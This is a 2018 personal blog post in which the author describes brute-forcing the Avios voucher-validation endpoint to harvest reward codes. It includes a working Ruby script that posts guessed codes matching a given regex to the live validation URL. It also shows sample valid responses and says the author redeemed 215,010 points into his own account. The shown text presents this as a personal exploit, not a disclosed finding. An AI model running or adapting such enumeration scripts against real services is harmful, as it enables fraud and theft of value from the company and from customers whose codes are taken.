How I exploited a bug in the Avios Travel rewards programme to get 1000’s of valid air-mile points for free. Cian Gallagher Follow Apr 22, 2018 · 6 min read

Cover Image.

If you’re like me, you’ve mused over the idea of travelling the world in style. You’ve seen the Youtube video’s, and you know the people.

This is a story of how I found a bug in the Avios Travel Rewards Programme that would have allowed me to achieve that*.

A couple of weeks ago I took a trip to New York. Being my first time visiting the states, and flying a transatlantic flight, I was extremely enthusiastic about the experience. You’ve all asked yourselves the same questions:

Could I swing an upgrade? How should I go about it? What should I say? How do I not sound like a ass when I’m asking for an upgrade?

Alas, it’s only when you actually get to the airport do you realize that the entire check-in process is automated (for the most part), and your chances of asking a lovely desk clerk for the potential of a free upgrade quickly evaporate. But it got me thinking, how do people go about doing this?

Aer Lingus Aer Club.

British Airways Executive Club.

Enter the Airline loyalty programme.

Nothing extraordinary here. People have long known about the loyalty programme airlines offer to their customers. But there was something unique about this one, and that was Avios. But what are they?

Avios are the shared reward currency used by Aer Lingus, British Airways, Flybe, Iberia, kulula.com and Meridiana. By collecting Avios on flights, hotels and car hire, you can enjoy a selection of Reward Flights to hundreds of destinations around the world.

After signing up to the Aer Lingus and British Airways loyalty programmes respectively, I then came across this site: https://www.aviosvouchers.com/. It’s simply a form that allows a customer to enter in their membership info, some personal details, and a reward code that has been sent to them. Here’s where it get’s interesting.

The realization.

Example of code already used.

I noticed two things initially that drew my attention. The first was I could see from the form there is a simple regex validation performed on the front-end to ensure the code you’ve entered is in the correct format. The second was that as I entered a code, I would get an immediate indication as to whether or not the code was valid. This was performed via an AJAX request.

Looking at the network requests in chrome’s developer tools, I could see a request being made to the following URL to validate the code. Then, the thought occurred to me. If I know the format the codes are meant to be in, and I know the endpoint specified to validate each code, could I generate 1000’s of random codes in that format, and then write a script to iterate over them and send a request to that endpoint to see if any of them are valid?

The answer is yes, I can.

#!/usr/bin/ruby require ‘httparty’

require ‘byebug’

# [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1} url = “ https://www.aviosvouchers.com/en/Collect/ValidateCode # [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1} puts “Running Script…” File.open(‘codes.txt’, ‘r’).each_line do |line|

data = line.split(/\t/)

code = data.first.delete!(“

”)

request = HTTParty.post(url, body: {code: code.to_s})

json = JSON.parse(request.body)

puts “#{json} — #{code.to_s}” if json[‘value’] > 0 sleep(0.5)

end puts “Finished Running Script.”

The script above does exactly what it says on the tin. It reads from a list of generated codes in a text file (You can generate the codes based on the regex provided through your own means, or use something like browserlings text-from-regex tool) and send’s them off as a post request to the URL provided. If we get a valid response back (Usually when the value attribute is greater than zero) we output that response to the CLI, and then wait a small period of time before we make the next request.

And the result? VALID CODES! (I have changed the correct values below for obvious reasons..)

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5007652532665", “value”=>10000.0, “itemId”=>nil} — JCX328W

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7186731101111", “value”=>10000.0, “itemId”=>nil} — MYS272Y

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7409825562501", “value”=>1500.0, “itemId”=>nil} — XSL523V

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”2504822562501", “value”=>1500.0, “itemId”=>nil} — SYZ436G

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”8476533219878", “value”=>20000.0, “itemId”=>nil} — PEG924R

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”4318675747654", “value”=>500.0, “itemId”=>nil} — AHC939A

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”6509522562501", “value”=>1500.0, “itemId”=>nil} — JGZ792E

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5904736483764", “value”=>500.0, “itemId”=>nil} — DMB882D

After leaving the script running for a couple of days, I ended up with a plethora of valid codes, and after adding them to my BA profile, my account looked like this.

Screenshot of BA account.

215,010 Avios points. Yes, that is a lot. So much so that I could fly from London to Indonesia First Class for as little as £500 return. A stir of hope bellowed within me at the prospects of my dreams finally coming to reality.